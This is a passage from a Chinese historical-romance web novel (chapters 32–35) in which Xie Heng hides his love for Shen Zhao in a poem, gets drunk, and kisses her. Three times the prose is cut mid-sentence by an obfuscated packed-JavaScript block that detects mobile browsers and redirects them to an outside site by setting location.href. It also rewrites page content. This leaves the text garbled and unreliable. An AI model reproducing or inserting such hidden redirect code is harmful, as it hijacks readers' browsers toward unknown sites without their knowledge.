发髻高束,以青玉簪定之,额间不留碎发,眉目清明,一身艾绿圆领袍,没有一丝褶皱,腰间束素革带,悬一枚玉佩。 褪去周身的戾气和锋芒,活像换了个人,一手持笔,身影投于轩窗下,恍若青竹挺立。 春宁执礼后,匆匆垂下眼,虽然沈昭对她们并无太多管束,但到底不能乱了规矩,主是主,仆是仆。 沈昭一时恍惚,微愣在原地,直到他出声打断:“杨方卯初寻你,如今已到巳初,是否过会你又嚷着快到午膳用时了?” 沈昭厚着脸皮在心里自我宽慰,兄长待她着实不错,连一会要走的理由都提前知会她了。 “还不速来练字。”谢珩眉峰微敛,哪还有书生模样。 果然修罗便是修罗,披了个好画皮也只是假象,若一旦成为夫子,更像积了十年怨气一般。 春宁不敢怠慢,同家丁一起收拾好地上的纸后,将沈昭所用的东西摆放在桌上,退至一旁侍奉。 沈昭这几日虽没再做那些奇怪的旖梦,但除非有事相商,亦不想主动寻他,哪怕她前几日得了茶树枝后,虽然想向高义信讨教一二,但思虑良久,未让谢珩帮忙下帖。 若继续耽搁下去只怕真到午时了。 她提步走到谢珩身侧,一脸从容地握起毛笔,有模有样地蘸墨,笔毫渐渐吸足墨汁,染成深黑。 她提笔,滴答——吸满水的笔尖凝出一滴墨,绽放在纸上,洇成一朵罕见的花。 她挑眉,忽略头顶那声浅浅的吐息,下笔如神助,飞一般在纸上留下她的“大作”。 草书亦是书。 与其她整整齐齐,横不是横,捺不是捺,还不如趁早绝了这个“夫子”的念想。 谢珩低垂眼眸盯着纸上的“字”,努力克制着沉声静气。 她忽而扭身看向他,衣袖轻旋,扫过案角未收的宣纸,发间金簪坠着一只金丝蝶,以宝石缀成彩色,随她的动作微微晃动:“如何,兄长,我这字可还有救?” 之前签契书时,他曾见过她的字,虽没有刻意练过,但却不像如此这般,敷衍于他。 “自然有救。”他说罢从书案旁扯出一根竹条,吩咐一旁服侍的家丁:“你们先退下。” 春宁犹豫着不敢走,但见他的眼刀冲她而来,结巴道:“小...小姐,我在门外候着。” 沈昭不敢置信,他不必如此当真吧,都多大人了,还打手板! 她背抵在桌沿,伸出一根手指轻压下他手里握着的竹条。 小声道:“谢珩,你可不能动手,我真不会写,我们九州只有小部分人会这个,我写字用其他的笔,何况这个不能速成,我们参加诗会,又不是练字比赛。” 因着老夫人身子大好,李立雯便把心思移到回府的沈昭身上。 这几日她总有意无意提到沈昭的课业和规矩,让谢珩无事时多帮衬些,毕竟日后她代表着国公府,性子活泼虽好,但行事不能太不羁,若她实在难以受教,只得请私塾的夫子来家中授其课业。 若是真将那些之乎者也的夫子请来,以她的性子,虽然不喜,但为了不惹母亲忧心,只怕学亦学得痛苦,玩又玩得不尽然。 他便应下了,总归差不多学些,好对母亲有个交代。 谢珩抽出竹条,试图点在她写的“字”上纠正一番,但他实在不识,沉气说道:“你重新写过,慢慢写,莫急。” 她轻呼一口气,作势拿起笔,蘸墨后在砚台边来回蹭去余墨,怕他手里的竹条真甩到她手上,一笔一划耐着性子去写。 谢珩目光顺着她的笔画走,顿觉她的字方正笔直,乍看的话,虽无章法但却工整干净,但却经不起细瞧,力道不匀,使得有些字失了重心,越写越歪。 沈昭写完后手腕都酸了,撂下笔揉着手腕,直接开摆:“这是我的最高水平,实在不会。” 她眼眸亮亮地转动,“其实并不是我字写得不好,是这笔太沉,笔毫生涩,宣纸太皱,写着不顺手。” 待辨出她话中刻意而为的荒唐,他唇角不自觉弯了。那笑意极浅,却将眼尾的细小纹路都染上明晃晃的纵容。 他将自己的笔递给她:“那换支试试。” 沈昭顿时泄了气,但转念一想,她这算带薪读书?倒也划算,认命般地划拉两下墨汁,提笔置于纸上,本就控制不好的力度更如脱缰野马,拉不回头。 谢珩爱书惜字,实在不忍看,不经意间左手扶上案角,右手轻执她手腕,引她落笔。 她腕上一热,已被他的掌心相覆,指尖相叠处,一股细细麻麻的暗涌,顺着经脉抵上心头,比那新研的磨还热上三分。 他的衣袖擦过她的臂侧,与她的衣裙厮磨。 她的指尖不由得发僵,明明是她识得的字,但一撇一捺皆不由她,全随他腕间的力道起伏,若一叶扁舟系于长风,悠悠然不能自主。 “这一笔需藏锋。” 墨迹在纸上渐渐晕开,淡淡墨香混着她身上的甜香扑了他满面,他忽地松开她的手,喉间一紧,忽然失力。 笔尖直直坠在纸上。 晕开的墨汁如那日被他吮血浸染的手帕,一点点侵染,蚕食他的理智。 她唇上的温软,此刻竟绕在他的指尖,灼得他心口发烫。 初时同乘一伞仍百般顾及的他,如今竟从容不觉地主动搭上她的皓腕。 他饶是惊讶于自己这一自然又不自在的举动,后撤几步。 “罢了,姑且到这。”他说罢,大步踱至门外,只余一角衣袂轻拂过廊柱。 那之后,他再没教过她写字。 沈昭以身体不适为由,拒绝了李立雯给她安排授课的夫子。 “小姐,高家公子高峻来了,眼下正在少爷房内。”夏安前来禀告。 因着每次高家公子入府,都会唤沈昭一同出游,她得了消息提前知会小姐早做打扮。 沈昭单手支颐,坐于窗前,细想近日谢珩的变化,那冒出头的念想在她心中被狠狠压下。 不可能,绝不可能。 谢珩毕竟是她名义上的兄长,不过是看她写字磨人,一时急得忘了分寸罢。 她收回杂念,懒懒地趴下:“来就来吧,我还装着病呢。” “我来都来了,九如,你就帮帮我呗。”高峻绕柱拦着谢珩。 明日便是诗会,这几日不仅是高义信,他亦被高坤关在家中整日苦读,折磨得消瘦了不少,全然没有之前的神采。 他知谢珩平日会写些杂诗,总归他亦不准备发刊,何不借他一用,哀求道:“九如,这次蔺家那个小儿子势要同我比个高下,我只赢他这一次就可,你就帮帮我吧,我什么都可答应你。” 谢珩被他磨了半个时辰,杨方在一旁耳朵都听出茧子了。 他无他法,转身进了书房,高峻紧随其后:“还得是九如,你才是我最好的兄弟。” 谢珩从他之前写的诗集中挑了几首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709332|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日可能会论到的,递给他。 高峻感激涕零地郑重接过,顾不得细看,将其贴身放于怀中:“九如,你放心,待我赢下这次诗会,我定会在燕春院犒赏三军!” 燕春院是长安城最大的青楼,他一时口快,知谢珩定不会涉足于此,又改了口:“请你去春风楼。” “等等,”谢珩喊住他,转身从书的夹层中取出一页叠得齐整的纸,犹豫片刻后,似下了极大的决心:“还有一首。” 高峻第一次见他如此神情,想必这诗花了他不少心思,他攒动两指打开,却被谢珩压下:“到那日再看吧。” 神神秘秘,高峻将他虏获的“成果”收入囊中。 ...... 诗会那日,谢珩当值,沈昭称病,谢家兄妹不出意外地没有出席,李玥虽很想参与,但却被她父皇阻了,在宫中要考查她最近的课业。 高义信自上次去谢府致歉后,再未见到沈昭,又不敢独自登门拜访。 他目光一直盯着院外,直到锣鼓声起,大门缓闭:“诸位,第五届赛诗会即将开赛。” 高峻靠他坐着,一把将他拉下:“义信,别痴等了,同你说过谢家兄妹都不来,为兄何时骗过你。” 他随口低声默背从谢珩那儿搜来的诗,他这几日在家苦读,虽心中有数,但仍怕一时紧张忘了,便又誊写了一份。 既是他的字迹就是他所作。 高义信心中担忧得紧,虽然上次他爹同谢家老夫人提过两人的亲事,但终究无媒无聘,何况谢珩的亲事八字还没一撇,又如何会议到回府不到一年的谢怀瑾身上。 至于谢珩,他从未听过他对长安城中哪家姑娘有意,日日忙于公务,只怕城中哪门哪户有待嫁闺中的女子他都不知。 诗会如火如荼进行中,高义信表现亦是不俗,同蔺家不相上下,难得的是,高峻此次更是大展风采,洒金扇子轻摇,一身荼白长袍,以青和金线绣制松鹤,飘飘若画中仙。 出口成章,瞬时吸引了不少目光。 高义信低头浅笑,深知他兄长这是从谢珩那寻了些随笔的杂诗,若是能背得更准确些,只怕他都会被比下去。 几轮比试下来,只有高家与蔺家难分高下,最后一题特以“长安城”为题,即兴作诗,由在场所有人投花为票,得票多者获胜。 高峻背诗背得嗓子炽热如火,坐下豪饮几口凉饮。 瞧着对面蔺家兄弟那一筹莫展的样子,他眼珠流转,竟没料到九如押题都押得如此准,他伸手拦下刚起身的高义信,胸有成竹道:“这题我来。” “长安风物琳琅目, 似梦如烟空缈如, 慕尽人间笑逍遥, 沧海明月又昭昭。” 高峻忽地一抖腕,将扇子唰地亮开,挑眉望向高义信,得意的样子似在叫嚣,如何? 高义信暗叹一声,无奈摇头,只怕是兄长又背错了。 长安近在眼前,又岂会似梦如烟,这诗的前两句便词不达意,如此低阶的错误,又岂会是谢珩所犯。 高峻凑过身,志在必得道:“如何,这可是九如最珍视的一首诗,没想到他还压对了题,这次我们势必拿下。” 言语间,蔺家兄弟早就吟诵出口,因着高峻前几轮得了不少好感,凭着印象收了不少花,但弘文馆的学士们却在最后至关重要的几票投给蔺家。 “不可能,九如岂会比不过蔺家那俩小子。”高峻气急,要上前理论。 高义信伸手拦下他,他都能听出此诗中不合理之处,何况这些学儒:“你将他写的诗给我看看。” 高峻置气地将怀中藏着的诗文一股脑掏出:“就这篇。” 高义信看罢失笑,他的兄长不该机灵的时候,倒是脑子转得比谁都快,谢珩原写的九州风物琳琅目,他倒好,将九州和长安硬生生调换。 他记得舆图上并未见过九州这处,如此,倒是同第二句诗文契合,更说得通。 他反复盯着手里的这诗,忽而眉头紧蹙,问向高峻:“你说谢珩很珍视这首诗?” “嗯,可不是么,夹在书中,临走时另交于我,九如的才学岂会不如蔺家那小子,我还是不服!” “兄长,别去了,胜负已定,何况以诗会友罢了,”明明输了比试,高义信却倏然笑得开怀,“兄长,你不若改日问问谢珩,他所倾慕的,名为昭的女子是何人?” 33. 第 33 章 昭? 长安城中哪家女子芳名或者小字含昭呢,高峻在头脑中反复琢磨,最后只锁定在三家,但要么年岁太小、要么被贬官罢职...并未听过谢珩同她们有任何交集。 高峻一头雾水,但高义信又给他分析得头头是道,谢珩隐晦于诗中表达,不是单纯的藏头诗,反而藏前隐后摘出四字——九如慕昭。 加之他那珍视万分的举止,岂会不由人多想,任谁看亦不是巧合。 ...... “高公子,要我看啊,定是弘文馆那几个老头收了蔺家的好处,我觉得你作那诗极好。” “少说两句,来,高公子喝喝喝。” 虽然高家惜败,但高俊的面子不能丢,该摆的席还是得摆,该喝的酒不能少。 待诗会散了,他便带着他那些平日里斗鸡遛狗的朋友们包下春风楼,势必要不醉不归。 丝竹声声入耳,姑娘们轻歌曼妙,浓浓的酒气和脂粉香萦绕鼻尖。 晋国公府。 李立雯于老夫人房内秉烛相商,桌案上摆着长安城内女子小象,并在一旁附着年岁、家世、性情等。 她们最后暂定下三个年岁相仿,家世清白,性情稳妥的女子,待过几日亲自登门拜会。 念着谢珩平时少言,与她的交谈更少,李立雯忧心道:“只是不知珩儿作何想,是否该提前同他知会一下。” 老夫人:“不急于一时,我身子无恙,你也可多打听打听,不若先合一下这几个孩子和珩儿的八字看看,再做定夺,倒是高家那孩子和瑾儿,上次高家主动提及,我瞧着高家那孩子也算上心,你若去寺里合字,一块看看这俩孩子。” “好,还是阿姑想得周到。”李立雯应下。 门外,谢珩抬手止住属下的话。 “将军。”他将手中的梅干递给家丁,神色凛然地急匆匆出了府。 他今日轮值到晋国公府所在街坊,路遇卖梅干的老翁,记起祖母喜酸,便买了顺道送回,却无意间听到母亲和祖母的谈话。 眉眼寒霜走出府,祖母同母亲的话音犹在耳,他指节因不觉用力绷至青白,正巧碰到金吾卫寻他,声沉如铁:“何事?” 回禀的金吾卫登时出了一身冷汗,脑中闪过一片空白,磕巴道:“沿、沿街有售卖的商贩,是不是要——” “莫要多事。”谢珩掀袍而走,身影融于夜色。 金吾卫擦擦额上的薄汗,只求这一夜安然无事。 夜深阑干,苍穹如墨,只余几颗星子眨眼。 燕春院内歌舞笙箫不断,早已酒过三巡。 下值后,谢珩换下衣袍,径自去了燕春院。 刚绕过街角,浓艳的脂粉香扑面,他蹙眉扭头,仍不觉地打了几个喷嚏。 因着高峻包场子,所有姑娘们皆在其中伺候,只余几个龟公在门口候着,远远见黑夜中一个高大的身影靠近,不由得握紧手中的木棍。 待看清是个俊逸公子后,心中了然,但今日客满,他出手拦道:“公子,燕春院今日被高家公子包了,姑娘们暂不得闲,还请您改日再来。” 他骨节分明的手搭在腰间佩剑之上,指尖慢条斯理地轻点,来自上位者的威压逼得龟公不觉退后几步。 其中一个机灵的龟公一眼认出,他曾见过眼前人身披铁甲,威风凛凛,他当即拉着另一人跪下:“官爷,不知您有何贵干。” 谢珩冷冷开口:“把高峻叫出来。” 两个龟公互相递了个眼色,生怕得罪官爷,他们小命不保,一人将他请入内,一人扭头向楼上跑:“官爷,您稍后,我马上去喊。” 楼内,众人喝得尽兴,手不自觉地抚向一旁的姑娘们,有些早带着姑娘进了隔间,靡靡之声不绝于耳。 高峻定在此虽是全了其他弟兄的意,不过他家中司寝的婢女个个都不比这些姑娘差,他自然不屑,又吵得他心烦,但毕竟相熟,他又不好败人兴致。 怕扰了客人雅兴,龟公在外试探着敲门:“公子,高公子,外面有个官爷寻您。” “谁啊。”高峻不耐地将门推开。 “那...那官爷说他姓谢,还随身带着剑,在楼下候着呢。” 高峻登时清醒几分,能将龟公吓至如此,除了谢珩还能有谁,估摸着时辰,他该是刚下值,可他怎么来了? 高峻登上靴子,可脚步虚浮,踉跄着险些摔倒,龟公上前搭手扶稳他:“爷,我扶您下去。” 站于楼梯口,他瞧见端坐在桌前的谢珩,因着酒劲,他大吼:“哟,看看是谁来了!九如,没料到你也有开窍的一天,我心甚慰啊!” 谢珩没同他多言,扯着他的臂膀把他拉至旁边的房内,“拿几坛上好的酒送来。”挥袖将门带上,随后垂首,不置一词地坐于一旁。 高峻踉跄着从地上坐起,脸红的比戏班子的伶人更艳:“九如,来来,我陪你喝,今夜不醉不归。” 几个龟公生怕惹他们不快,慌手慌脚地抱着酒坛杯盏,鱼贯而入,殷勤地摆于桌上:“官爷,您若有吩咐,可随时再唤小的”说罢,逃似的阖门走了。 一豆残灯在屋内摇曳,照得谢珩眉间挤出的川纹更深,姑娘莺声呖呖自隔间溢出,晃得屏风上烛影摇动,映着双双痴缠的身影。 “锃——”一阵嗡鸣,他将长剑掷出,剑身裹挟煞气,直接穿过走廊,刺破了对面屏风,忽听醉客骂骂咧咧的声音,带着寒光的剑自龟公耳边擦过,吓得他一动不敢动。 “聒噪。”谢珩怒道。 龟公忙打起精神,去给受惊的客人致歉,他们和高峻同行,自是不会同他起争执,便将他们周围的客人全换了雅间,单独给高峻和谢珩留下一间静室。 谢珩此时已喝下三大碗酒,烈酒入喉,如咽下炙热的铁,待莺莺燕燕的声音渐小,他将酒盅攥得更紧,猛地又倾入喉中。 高峻经他一吓,身上的酒气都淡了几分,他扶案坐下,扯着他的手腕:“九如,既是同饮,那得有来有往,自己一人独饮这是喝闷酒。”说罢给自己斟满,碰上他手中的瓷碗,“来,喝。” 他高举酒坛,给两人碗中斟满,月色皎皎,拉出的酒线银亮如丝,酒痕顺着他的嘴角,滑至下颌,噙着刺骨的寒。 高峻很少同谢珩对饮,亦不知他酒量,瞥见他眼眸转至猩红,眼底笼了一层水雾,便拉下他持碗的手:“九如,这昭昭是谁啊?” 在他印象中,谢珩一直是个清风霁月的君子,莫说失态,便是衣角都不曾有一丝褶皱,便是当下仍坐得挺拔如松,能让他郁闷至此,借酒消愁,他转瞬一想:“不会是人家姑娘没看上你吧,”他大笑出声,“我倒很想知道是哪家姑娘拒了你。” “她并不知我嘱意于她。”谢珩迟迟开口,吐出今晚的第一句话。 高峻看热闹的兴致缺缺:“那你何以愁苦至此,况且,我不信在长安城有人能拒了晋国公府下的聘,男婚女嫁都是父母之命,怎的,你母亲和老夫人不同意?” 谢珩抬手,将整壶酒倾入喉,多说无益。 走到今日这步亦是他自寻苦果,若不是当初他动了歪心,将她迎回府中,假扮作他妹妹,又岂会走入这般境地。 哪怕寻回谢怀瑾,各归各位,以母亲的性子,又岂会容她。 她本就不属于长安,又怎会受制于王府的拘束。 是他,从一开始便走了死局。 烈酒灼心,却浇不灭他心中的块垒,反而若火上浇油,烧得他五脏俱焚。 高峻拍拍他的肩:“九如,你和我弟都是读书读傻了,同姑娘相处自有其中学问,你们这种一根筋肯定不行,女孩子都要哄的,她喜欢什么你便投其所好啊,烈女怕缠郎,这点道理你总该懂。 你看看长安城中家世尚好的姑娘,谁人不是被早早定下,当然,我没说怀瑾不好的意思,毕竟你刚寻她回府,你年岁也不小了,若再不下手可就晚了,早日登门提亲吧。你早早结亲,我弟弟的婚事才有指望。” 他的话虚虚入耳,谢珩闻言起身,提剑往回走,将他最后一句话掷于身后。 “哎,你去哪?大晚上你别吓着人家姑娘。” 高峻安排了两个龟公送他回府。 天穹深深,远处几声犬吠刺破夜的寂静,显得长街空荡。 在门口的守卫见谢珩归来,忙上前去扶:“少爷,您这是?” 他身上酒气熏熏,挣开龟公的束缚,掏出几两碎银:“今夜之事若是声张,你们,,,” “是是,”龟公接过银子,干他们这一行只当瞎子聋子便是。 谢珩挥挥手独自回了“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他凝眸望着她,深若幽潭,还浮着一丝醉意,仍执拗地望着她,一寸寸扫过她的眉眼,桌上的烛火在他眼眸中轻晃,将他眸中暗涌的情愫映得忽明忽暗。 酒气氤氲,她垂眸避开他的视线,却仍能感觉他凝在自己侧脸的视线。 她的喉间不自觉发紧,连呼吸都变得轻缓,生怕稍有不慎,惊破这危险的静谧,坠入深不可见的未来。 谢珩耳尖微动,哪怕酒意犹在,仍听到了转过廊角的脚步声。他箭步上前,拉着沈昭躲于帘幕旁,将窗柩上两人依偎的身影抹去。 沈昭不禁咬唇,轻推开他:“可能是春宁回来了,她去厨舍帮我寻吃的。” “瑾儿。”李立雯的声音恰时在屋外响起。 两人不觉睁大双眼对望,沈昭身上的困意陡然间全消了,薄唇被她咬得毫无血色。 她突然慌了,像偷腥的猫儿要被主人发现,她抬眼看到谢珩身后的窗,慌乱催他离开。 他却反手推开身旁的檀木衣柜,闪身拉着她一并躲入黑暗,锦缎袖摆簌簌散落,搭上他的宽袖。 柜外光影明灭,门被轻轻打开又阖上,比关门声更响的是她慌乱的心跳。 衣柜狭小,他只得半弓着身子,以下颌轻抵着她的颅顶,她方才从床上起身,青丝未挽,如瀑般垂落在前,经他慌乱中一带,丝丝缕缕贴在他衣襟前。 他垂眸,黑暗中却只见她如瀑的青丝扫过他的喉结,痒意顺着血脉密密麻麻爬至心尖。 她抬头望向谢珩,鼻尖相对,仅在半指间,衣柜的一线缝隙露出的烛光落在他鼻尖,却将眼尾的薄红衬得更甚。 门外的脚步声渐渐远了。 沈昭侧耳听着:“她是不是走了?” “嗯。”他从喉间挤出一个字。 她轻轻呼出一口气,伸手去推柜门,却被他的手先一步拦住:“等等,”那夜在山洞中她唇瓣开合,所说的一言一句都刻在他脑中,不敢忘。 [尊重女子意愿,若是不愿不可勉强。] “可以么?”他嗓音低哑,甚至带一丝颤。 “嗯?”沈昭抬眸。 他忽地俯身低头,以吻封住她喉间溢出半声呢喃,唇舌间的纠缠隐忍又炽热,像蓄积已久的火,终于在这一刻烧穿了理智。 34. 第 34 章 沈昭将手抵在他胸前,却被他死死禁锢在怀中,她的腰肢被他有力的臂弯环扣,动弹不得。 她的唇上忽而一烫,贝齿已被他撬开,唇舌间的酒气混着她身上的甜香,愈深愈烈。 他强横的予取予求,贪婪地搜取她的一切,如玉的面庞竟比喝醉酒还红上三分。 “小姐,我回来啦。”春宁轻手轻脚地端着托盘入内。 他却将她搂得更紧,沈昭用力掐在他的腰间,逼他放手,他微垂着长睫,泛红的眼眶氤氲着一层薄薄的水汽。 直直地望着她。 她颤着睫毛去咬他的舌尖,欲再逼他一逼,可那力道终是不忍地缓了缓,被他轻而易举地化作唇齿间痴缠的勾挑。 他的掌心像燃着融融的火,一寸寸烧遍她的全身,虎口处的旧疤贴着她细嫩的肌肤,惹得她浑身微颤,连挣扎都软了几分。 灯影自衣柜缝隙漏入,两人唇间却紧紧相贴。 “奇怪,小姐去哪了?”春宁将托盘放于桌上,提着灯出门去寻她。 待门扉被阖上,沈昭终是狠了狠心,贝齿一合,他闷哼一声,唇间溢出半声低哑的痛吟,霎时铁锈气盖过酒气,弥散在口中。 她推开衣柜门,新鲜的空气涌入,她擦着唇上他的血渍,粗喘着气,却仍不敢大喊,怕惹人注意:“谢珩,你喝多了!” 他拇指重重碾过嘴角的血,随后躬身走出衣柜:“我并未喝醉,你曾说在九州这是表达感激的一种方式,我以礼相待罢。”他垂眸的瞬间嘴角却扬起微不可察的弧度。 “你...”沈昭想说的话被他噎住。 竟一时拿不准他刚才是酒后失智还是情难自已。 明明是她寻机编的理由,此刻从他口中说出,竟冠冕堂皇得令人无法辩驳。 可是,她明明刚才有千般万般种理由可以狠狠推开他,但却被吻得忘了呼吸。 是不能推开还是不会推开? 她的心跳得乱了节奏,雪肤一寸寸染上霞色,耳尖红得滴血。 “今夜亥时三刻,我会在碧水河畔等你,我,我有事要同你说。” “亥时三刻是什么时辰,我——” 话说出口,她才意识到她第一反应不是拒绝,却是怕误了约定的时辰。 “我会让人来接你。”谢珩留下最后一句话,在春宁回来之前,转身消失于夜中。 他走得匆忙,回到“秉正堂”后,忙着更衣上朝,却忽略了地上落下的那一封未交出的信。 —— 一夜宿醉,高峻被自家家丁抬回府中,已至晌午还昏昏欲睡,直到高义信将他唤醒,醒酒汤摆在桌上。 他端起放在床边:“兄长,快醒醒,要是让父亲知道,少不了责罚你。” “哎呀,你不行我来,我替你说。”高峻仍在梦中,嘴里喃喃不停。 他轻拍他的脸侧:“快醒醒,一会父亲便回府了。” 高峻蹙着眉,将他的手拨开:“谁啊,烦着呢。” 高义信不得不将他直接拉起,掐着他的人中将他痛醒,高峻猛地睁开眼,龇牙咧嘴叫着,认清是自家弟弟,转身要睡。 似是想到昨夜谢珩的话,他猛地从床上坐起,抱着高义信的双臂:“好消息!义信好消息,九如他春心萌动,想必婚事不远了,你也可以有所行动了,待他的亲事定下来,谢怀瑾的更是好说,你可得好好把握,莫错失良机,昨夜同他们饮酒时,那话语间,好几户人家都对谢家二小姐有意。” 高义信仍一头雾水:“兄长,你先把醒酒汤服下,我同怀瑾的事,自有父亲母亲作主。” 他催着高义信去换衣:“你这呆子,好事岂是等能等来的,若是谢家给她择了更好的夫婿,人家下了更多的聘礼,你哭都来不及,最起码先将你的心意告诉人家姑娘。” “好好好,一切听兄长安排。”高义信随口应道。 瞧着他不慌不忙的背影,高峻恨不得一脚将他这个笨弟弟踢去谢府,这一个两个,都是呆子! 一个只会喝闷酒,一个是闷葫芦,怎么不得他半点真传呢。 虽然平日高峻没个正形,但他的话仍有几分道理。 高义信一向好学,自然听进心里去了,且婚嫁一事并非依年龄而定,没有长兄不娶,其妹不嫁的道理。 沈昭虽然赠他绢帕,但这几次相处他却觉,她对自己并无半分情意,许是姑娘家面子薄?他拿不准她的心思。 但依高峻所言,总得试上一试,让她知晓他的心意。 —— 李立雯今晨听到厨舍的动静,听守门的侍卫报,谢珩醉酒回府,她在府中寻了他一圈,却并未见到他。 “夫人,少爷刚更衣,准备进宫上朝呢。”王管家得了消息来报。 李立雯压着心中的火,直接去了“秉正堂”,并未见到谢珩,却在檐角的草丛里捡到一封信,信未被拆开,封存完好:“少爷呢?” 杨方觉察到夫人的不快:“少爷他进宫了。” “昨夜发生何事,为何少爷醉酒回府。” 面对李立雯的质问,杨方出了一身汗:“少爷他、他昨夜应该是同高家公子一起,昨日诗会,高家公子败兴而归,许是少爷劝了几句,多饮了几杯吧。”他依着谢珩昨夜去向,挑拣着说了些,燕春院的事一句未提。 “这封信是珩儿的?”李立雯看着手中信。 今晨他曾在房里见过谢珩将这封信收起,谁知竟落在夫人手中,他伸手去接:“是少爷的,怕是不小心落下了。” 她很少过问谢珩的事,但她这几日总坐卧不宁,心中仿佛坠着一颗大石,迟迟无法落下。 他甚少饮酒,更莫提贪杯喝醉。 怕他又将所有苦楚自己咽下,怕他遇到难事不愿同家里人提及,可又有谁会令他为难呢? 李立雯将信抽走,犹豫再三,终是将信撕开。 杨方站在一旁大气不敢喘,垂首盯着鞋尖,未久他的视线中出现李立雯的一瞥衣角。 “少爷这几日同谁接触过密,可有哪户女子?”信上虽是寥寥几句,但蕴含其中的爱慕之意,令她既喜又忧。 “少,少爷最近几日多同高家公子外出,除了小姐之外,长乐公主有时会同行。”杨方不敢不言,他连抬头回禀的勇气都没,只求少爷早早下朝,自行解释。 李立雯虽个子不比杨方,但自小的教养和骨子里的矜贵出尘,她缓缓开口,带着不容拒绝的压迫:“杨方,抬头回话,你可有意隐瞒?” “属下绝无半句隐瞒,少爷除了在衙内当值,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732527|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结交之人不过尔尔,夫人一问便知。”杨方半跪于地,神色凛然。 “起来吧,”李立雯不欲追究,珩儿议亲是大事,若他有中意之人,倒省了不少功夫,她将信收起,“待少爷回府后,让他来见我。” 杨方应下。 “不行,”李立雯改了主意,“你现在就去宫外候着,少爷出宫后,让他速速回府。” “是。” “阿嚏——”自谢珩走后,沈昭坐于桌前已半个时辰,连桌上的饭菜也未动一筷。 春宁还从未见她如此心神不宁,她取来一件薄衫,搭在她肩上:“小姐可是身子不适?” 沈昭眼神不聚焦地虚望远方,谢珩对她? 任由她再怎么自我欺骗,仍掩盖不了唇上的酒气和齿间残留的血腥气。 那他今夜有事相邀,莫不是要和盘托出。 不可,真正的谢怀瑾尚行踪未明,虽然他俩不是亲兄妹,可若真将最后一层窗户纸捅破,日后在府中相见,还岂能自在。 她细细回忆这些时日他的一举一动,懊恼地拍着前额,她往日都扯了些什么乱七八糟的话。 他竟还真信了三分! “小姐,你没事吧。”春宁唤来夏安,两人在旁守着她,见她捶胸顿足的模样,不知她吹了什么邪风,明明被饿起来了,却滴水未进。 “什么时辰了?”沈昭突然站起,“算了,快帮我更衣。”经谢珩这么一闹,她差点忘了去看老夫人。 主仆三人急匆匆赶往老夫人居所,李立雯恰逢此时也在。 老夫人心疼自家孩子都来不及,只要她在府中呆着心里就欢喜,岂会责怪沈昭早了或者晚了。 李立雯眉心仍皱的紧,书信一事既然珩儿还未明言,她暂且压下,见得沈昭入内:“瑾儿,今晨天未亮时,你不在房内,去哪里了?” 虽她语气清浅,不怒不威,但沈昭仍无意紧了紧喉咙,不敢抬头:“母亲,我半夜起来肚子有些饿,去厨舍寻吃的了。” “你今朝可见到珩儿了,他最近可同哪些人走得近?” 见了,其实你也见到了。 沈昭在心中腹诽,但说出口的话却恭恭敬敬:“他一向与高家兄弟走得近。” 李立雯无奈摇头,罢了,他诸事都憋在心中,少有几个相识,还是自幼长大的玩伴,又岂会同刚回府的瑾儿说这些呢。 一切待见了珩儿,自会知晓,他定不会欺瞒于她。 沈昭拜别母亲和祖母,在房内坐卧不宁,平日一向用膳最积极如她,今日却由夏安提醒才堪堪起身,她都看出小姐今日神思不齐。 自她穿越而来的事,如走马灯般在眼前细细铺开。 从最初谢珩与她不愿共处一室,到那两次或无意或出于救人的肌肤相亲,他有意无意地一步步走向她,若说他今晨醉酒,但诗会前的练字,他无意识间自然地执她的手落笔。 这一桩桩,一件件事浮于眼前。 谢珩真的对她... 敲门声打断了她的思绪,春宁站在门外:“小姐,有人在外,说请您出府,有事相邀。” “几时了?”明明天还亮着,她竟下意识以为是谢珩所派之人。 她起身出府,遥遥望见高义信独自一人徘徊在门前。 35. 第 35 章 谢珩下朝后,刚出宫门便遇到了等候多时的杨方,杨方一脸愁容:“少爷,夫人让我请您速回府,她有事寻你。” “何事?”谢珩脚步不停。 杨方支支吾吾半晌:“她好像看到您写的信了,”他霎时改了口,“不是,是夫人当着我的面把信拆开了,看到您写的内容,她在府里又没寻到您。” 谢珩并不想遮掩:“好,我知晓了,还有几件事交代你去做,务必在今晚亥时之前准备妥当。” 他递给杨方一页纸,杨方打眼看过,眼睛亮了起来,一副看好戏的模样:“公子,您这是为哪家小姐准备的?还需要我提前去府上请人吗?我保证守口如瓶,绝不多言。” 他打起十二分精神,默然听着谢珩开口,他要比夫人还先知晓公子在意的姑娘是谁。 “届时你去把小姐请出府。”谢珩徒留杨方傻愣在原地。 ? 小姐?哪家小姐,谢家小姐! 可是她不是御风的未婚妻么。 他拿着纸的手一抖,瞪圆了眼,四下张望生怕旁人听到他们之间的秘辛,像只受惊的鹌鹑,带着满脸的不可置信,捂着嘴,他绝不会出卖少爷,一定会誓死捍卫这个秘密。 